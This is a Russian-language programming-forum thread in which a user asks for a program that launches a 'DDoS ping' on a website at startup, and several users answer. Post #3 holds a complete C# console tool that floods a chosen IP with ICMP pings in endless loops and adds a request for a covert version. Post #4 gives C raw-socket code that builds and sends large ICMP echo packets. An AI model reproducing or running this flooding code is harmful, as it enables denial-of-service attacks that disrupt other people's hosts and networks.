Форум   Статьи   Новости   Файлы   Bugtraq   Сниффер   Друзья   О Клубе
Вернуться   HPC / Кодинг / .NET / C#
   
  Страница 1
  , 19:31   #1
Форумчанин
 
Регистрация: 23.06.2012
Сообщений: 90

Репутация: 0 / 0
По умолчанию DDOS Ping C#

Привет, у кого есть код проги, или напишите пожалуйста которая при её запуске начнет ddos ping на сайт какой нибудь.
__________________
За одну ночь нельзя изменить свою жизнь, но за одну ночь можно изменить мысли которые изменят твою жизнь.
Пользователь вне форума    
Наши Спонсоры
  , 00:39   #2
Сатанизм
 
Аватар для ZoRKeG
 
Локация: Dublin
Регистрация: 05.08.2011
Сообщений: 1,764

Репутация: 254 / 4
По умолчанию

Ты, для начала, определись, что тебе нужно: DDoS или Ping.
Если Ping - можно использовать самый элементарный *.bat`ник.
Если DDoS - можно использовать UDP/HTTP(GET|POST) запросы.
 

Последний раз редактировалось ZoRKeG; 21.06.2014 в 00:41.
Пользователь вне форума    
  , 09:06   #3
Форумчанин
 
Регистрация: 23.06.2012
Сообщений: 90

Репутация: 0 / 0
По умолчанию

Цитата:
Сообщение от ZoRKeG Посмотреть сообщение
Ты, для начала, определись, что тебе нужно: DDoS или Ping.
Если Ping - можно использовать самый элементарный *.bat`ник.
Если DDoS - можно использовать UDP/HTTP(GET|POST) запросы.
Да неет, ты непонял, пинг в bat это феик, все школьники думают что ддос пинг осущесвляется пингом через cmd-это не так, есть ddos атака в С# и т.д. вот это на самом деле работает, отправляет запросы. Вот например
C# highlight
using System;
namespace ddos
{
class Program
{
public static void Main(string[] Argument)
{	
if(Argument.Length != 0)
{
if(Argument[0].ToLower() == "helpargs"	|
Argument[0].ToLower() == "ping"	|
Argument[0].ToLower() == "pingasync"	|
Argument[0].ToLower() == "pingasync-t"	|
Argument[0].ToLower() == "pingasync-t-m"|
Argument[0].ToLower() == "pingasync-t-m-o") InterpretTheArgument(Argument);
else Console.Write("\n\rКоманда {0} неопознана.\n\r", Argument[0].ToLower());	
}
else Console.Write("\n\rПрограмма для ddos атаки.\n\r"+
"Доступные команды:\n\r\n\r" +
"helpargs [Команда] - выводит информацию об отдельной команде.\n\r" +
"ping [IP адресс] - чтобы узнать больше введите ddos helpargs ping.\n\r" +
"pingasync [IP адресс] - чтобы узнать больше введите ddos helpargs pingasync\n\r" +
"pingasync-t [IP адресс] [Таймаут] - чтобы узнать больше введите ddos helpargs pingasync-t\n\r" +
"pingasync-t-m [IP адресс] [Таймаут] [Cообщение] - чтобы узнать больше введите ddos helpargs pingasync-t-m\n\r" +
"pingasync-t-m-o [IP адресс] [Таймаут] [Cообщение] - чтобы узнать больше введите ddos helpargs pingasync-t-m-o\n\r");
}
private static void InterpretTheArgument(string[] Argument)
{
if(Argument[0].ToLower() == "helpargs") Help(Argument[1]);
if(Argument[0].ToLower() == "ping") Ping(Argument[1]);
if(Argument[0].ToLower() == "pingasync") PingAsync(Argument[1], Argument[2]);
if(Argument[0].ToLower() == "pingasync-t") PingAsync(Argument[1], Argument[2], Argument[3]);
if(Argument[0].ToLower() == "pingasync-t-m") PingAsync(Argument[1], Argument[2], Argument[3], Argument[4]);
if(Argument[0].ToLower() == "pingasync-t-m-o") PingAsync(Argument[1], Argument[2], Argument[3], Argument[4], Argument[5], Argument[6]);
}
private static void Help(string Argument)
{
if(Argument.ToLower() == "ping")
Console.Write("" +
"\n\rКоманда Ping [IP адресс] при вызове начинает DDos атаку на указанный IP адресс\n\r" +
"[IP адресс] = строка содержащая IP адресс на который будет вестись DDos атака.\n\r " +
"Пример: ddos ping 127.0.0.1\n\r");
if(Argument.ToLower() == "pingasync")
Console.Write("" +
"\n\rКоманда PingAsync [IP адресс] при вызове начинает DDos атаку на указанный IP адресс в асинхронном режиме.\n\r" +
"[IP адресс] = строка содержащая IP адресс на который будет вестись DDos атака.\n\r" +
"[Signal] = true задает начальное состояние сигнальным, false задает начальное состояние несигнальным.\n\r" +
"Пример: ddos pingasync 127.0.0.1 true\n\r");
if(Argument.ToLower() == "pingasync-t")
Console.Write("" +
"\n\rКоманда PingAsync-t [IP адресс] [Таймаут] при вызове начинает DDos атаку на указанный IP адресс в асинхронном режиме.\n\r" +
"[IP адресс] = строка содержащая IP адресс на который будет вестись DDos атака.\n\r" +
"[Signal] = true задает начальное состояние сигнальным, false задает начальное состояние несигнальным.\n\r" +
"[Таймаут] = целое число указывающее максимальное время ожидания сообщения ответа проверки связи ICMP в милисекундах.\n\r" +
"Пример: ddos pingasynct 127.0.0.1 10 true\n\r");
if(Argument.ToLower() == "pingasync-t-m")
Console.Write("" +
"\n\rКоманда PingAsynct-m [IP адресс] [Таймаут] [Сообщение] при вызове начинает DDos атаку на указанный IP адресс в асинхронном режиме.\n\r" +
"[IP адресс] = строка содержащая IP адресс на который будет вестись DDos атака.\n\r" +
"[Signal] = true задает начальное состояние сигнальным, false задает начальное состояние несигнальным.\n\r" +
"[Таймаут] = целое число указывающее максимальное время ожидания сообщения ответа проверки связи ICMP в милисекундах.\n\r" +
"[Сообщение] = строка содержащая данные, отправляемые с сообщением проверки связи ICMP и возвращаемые с сообщением ответа проверки связи ICMP.\n\r" +
"Пример: ddos pingasync-t-m 127.0.0.1 true 10 Сообщение\n\r");
if(Argument.ToLower() == "pingasync-t-m-o")
Console.Write("" +
"\n\rКоманда pingasync-t-m-o [IP адресс] [Таймаут] [Сообщение] [Время TTL] при вызове начинает DDos атаку на указанный IP адресс в асинхронном режиме.\n\r" +
"[IP адресс] = строка содержащая IP адресс на который будет вестись DDos атака.\n\r" +
"[Signal] = true задает начальное состояние сигнальным, false задает начальное состояние несигнальным.\n\r" +
"[Таймаут] = целое число указывающее максимальное время ожидания сообщения ответа проверки связи ICMP в милисекундах.\n\r" +
"[Сообщение] = строка содержащая данные, отправляемые с сообщением проверки связи ICMP и возвращаемые с сообщением ответа проверки связи ICMP.\n\r" +
"[Число TTL] = целое число больше нуля, указывающее, сколько раз могут быть переадресованны пакеты данных.\n\r" +
"[Фрагментация] = принимает значение true, чтобы данные, отправляемые на удаленный узел не фрагментировались, в противном случае false.\n\r" +
"Пример: ddos pingasync-t-m-o 127.0.0.1 10 true Сообщение 100 true\n\r");
}
public static int PingCount = 0;
private static void Ping(string IPAdress)
{
Console.Write("\n\rDDos атака в обычном режиме началась.\n\r" +
"[IP адресс] = {0}\n\r", IPAdress);
System.Net.NetworkInformation.Ping Ping;
while (true)
{
Ping = new System.Net.NetworkInformation.Ping();
Ping.Send(System.Net.IPAddress.Parse(IPAdress));
PingCount++;
if (PingCount % 10000 == 0) GC.Collect(); Ping.Dispose();
}
}
private static void PingAsync(string IPAdress, string Signal)
{
Console.Write("\n\rDDos атака в асинхронном режиме началась.\n\r" +
"[IP адресс] = {0}\n\r" +
"[Сигнал] = {1}", IPAdress, Signal);
System.Net.NetworkInformation.Ping Ping;
System.Threading.AutoResetEvent Reset = new System.Threading.AutoResetEvent(bool.Parse(Signal));
while (true)
{
Ping = new System.Net.NetworkInformation.Ping();
Ping.SendAsync(IPAdress, Reset);
PingCount++;
Reset.WaitOne();
if (PingCount % 10000 == 0) GC.Collect(); Ping.Dispose();
}
}
private static void PingAsync(string IPAdress, string Signal, string timeout)
{
Console.Write("\n\rDDos атака в асинхронном режиме началась.\n\r" +
"[IP адресс] = {0}\n\r" +
"[Сигнал] = {1}\n\r" +
"[Таймаут] = {2}\n\r", IPAdress, Signal, timeout);
System.Net.NetworkInformation.Ping Ping;
System.Threading.AutoResetEvent Reset = new System.Threading.AutoResetEvent(bool.Parse(Signal));
while (true)
{
Ping = new System.Net.NetworkInformation.Ping();
Ping.SendAsync(IPAdress, Convert.ToInt32(timeout), Reset);
PingCount++;
Reset.WaitOne();
if (PingCount % 10000 == 0) GC.Collect(); Ping.Dispose();
}
}
private static void PingAsync(string IPAdress, string Signal, string timeout, string message)
{
Console.Write("\n\rDDos атака в асинхронном режиме началась.\n\r" +
"[IP адресс] = {0}\n\r" +
"[Сигнал] = {1}\n\r" +
"[Таймаут] = {2}\n\r" +
"[Сообщение] = {3}\n\r", IPAdress, Signal, timeout, message);
System.Net.NetworkInformation.Ping Ping;
System.Threading.AutoResetEvent Reset = new System.Threading.AutoResetEvent(false);
while (true)
{
Ping = new System.Net.NetworkInformation.Ping();
Ping.SendAsync(IPAdress, Convert.ToInt32(timeout), System.Text.UTF8Encoding.ASCII.GetBytes(message), Reset);
PingCount++;
Reset.WaitOne();
if (PingCount % 10000 == 0) GC.Collect(); Ping.Dispose();
}
}
private static void PingAsync(string IPAdress, string Signal, string timeout, string message, string ttl, string DontFragment)
{
Console.Write("\n\rDDos атака в асинхронном режиме началась.\n\r" +
"[IP адресс] = {0}\n\r" +
"[Сигнал] = {1}\n\r" +
"[Таймаут] = {2}\n\r" +
"[Сообщение] = {3}\n\r" +
"[Число TTL] = {4}\n\r" +
"[Фрагментация] = {5}\n\r" , IPAdress, Signal, timeout, message, ttl, DontFragment);
System.Net.NetworkInformation.Ping Ping;
System.Threading.AutoResetEvent Reset = new System.Threading.AutoResetEvent(bool.Parse(Signal));
System.Net.NetworkInformation.PingOptions PingOption = new System.Net.NetworkInformation.PingOptions(Convert.ToInt32(ttl), bool.Parse(DontFragment));
while (true)
{
Ping = new System.Net.NetworkInformation.Ping();
Ping.SendAsync(IPAdress, Convert.ToInt32(timeout), System.Text.UTF8Encoding.ASCII.GetBytes(message), PingOption, Reset);
PingCount++;
Reset.WaitOne();
if (PingCount % 10000 == 0) GC.Collect(); Ping.Dispose();
}
}
}
}
Ну если нет такого кода, покажи другой, который при старте сразу начал бы посылать запросы. Без форм, скрытно. Если есть Zorgek ,=)
__________________
За одну ночь нельзя изменить свою жизнь, но за одну ночь можно изменить мысли которые изменят твою жизнь.
Пользователь вне форума    
  , 10:44   #4
Местный
 
Аватар для MrRaiX
 
Регистрация: 21.10.2014
Сообщений: 138

Репутация: 0 / 0
По умолчанию

code:
void mIcmpSend( char *server )
{     
    if ( strlen( server ) != 0 )
    { 
       struct icmphdr { typedef uint8_t u_int8_t; typedef uint16_t u_int16_t; typedef uint32_t u_int32_t; u_int8_t type; u_int8_t code; u_int16_t checksum; union { struct { u_int16_t id; u_int16_t sequence; } echo; u_int32_t gateway; struct { u_int16_t __unused; u_int16_t mtu; } frag; } un; };     
       #define ICMP_ECHO 8   
       char *packet, *data = NULL;
     
       SOCKET s;
       int k = 1, packet_size, payload_size = 24576, sent = 0;
  
       struct iphdr *iph = NULL;
       struct icmphdr *icmph = NULL;
       struct sockaddr_in dest;
       struct hostent *host; 
       
       WSADATA wsock;
       WSAStartup( MAKEWORD( 2, 2 ), &wsock );
    
       if ( ( s = socket( AF_INET, SOCK_RAW, IPPROTO_ICMP ) ) != SOCKET_ERROR )
       {
   	      host = gethostbyname( server );
	      if( host != NULL )
	      {
             dest.sin_family = AF_INET;
             dest.sin_addr.s_addr = *( ( unsigned long* ) host -> h_addr );
     
             packet_size = sizeof( struct icmphdr ) + payload_size;
             packet = ( char * ) malloc ( packet_size );
     
             memset ( packet, 0, packet_size );
     
             icmph = ( struct icmphdr* ) packet;
             icmph -> type = ICMP_ECHO;
             icmph -> code = 0;
             icmph -> un.echo.sequence = rand();
             icmph -> un.echo.id = rand();
     
             data = packet + sizeof( struct icmphdr );
             memset( data, '^', payload_size );
  
             icmph -> checksum = 0;
             icmph -> checksum = in_cksum( ( unsigned short * ) icmph, packet_size );
     
             sendto( s , packet , packet_size , 0 , ( struct sockaddr * ) &dest, sizeof( dest ) );
             acount++;
          }  
       }
    }
}
 
Пользователь вне форума    
  , 13:48   #5
Новичок
 
Аватар для AngryBSOD
 
Локация: so empty();
Регистрация: 04.06.2015
Сообщений: 7

Репутация: 9 / 0
По умолчанию

Цитата:
Сообщение от ZoRKeG Посмотреть сообщение
Ты, для начала, определись, что тебе нужно: DDoS или Ping.
Если Ping - можно использовать самый элементарный *.bat`ник.
Если DDoS - можно использовать UDP/HTTP(GET|POST) запросы.
DDOS - загруз ботами
DOS - загруз частыми запросами с одного компа
Цитата:
Сообщение от (anonymous) Посмотреть сообщение
Да неет, ты непонял, пинг в bat это феик, все школьники думают что ддос пинг осущесвляется пингом через cmd-это не так, есть ddos атака в С# и т.д. вот это на самом деле работает, отправляет запросы. Вот например
Вопрос один. Вы адекватны? Ибо из вашего ответа, следует, что школьник - это вы.
 

Последний раз редактировалось AngryBSOD; 04.06.2015 в 13:49.
Пользователь вне форума    
 

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Статья] Защита от DDOS. Что делать на когда вас уже атакуют KrisGuseva Операционные Системы 0 31.01.2014 15:22
В Испании арестован организатор DDoS атаки на Spamhaus vladyxa13 Новости и High-Tech 0 28.04.2013 10:23
A DDoS Family Affair: Dirt Jumper bot family continues to evolve MaCroSs English Forum 7 05.08.2012 01:15
блек icq 826314 eXtreme Cash - До 1000$ с 1k инсталлов и больше! dufox Black List 1 08.02.2011 17:09



Часовой пояс GMT +2
Powered by vBulletin® 3.x.x Copyright ©2000 - 2012, Jelsoft Enterprises Ltd.

Copyright © 2008 - 2013 «HPC» Реклама на сайте Правила Форума Пользовательское соглашение Работа на сайте
При копировании материалов ставьте ссылку на источник
Все материалы представлены только в ознакомительных целях, администрация за их использование ответственности не несет.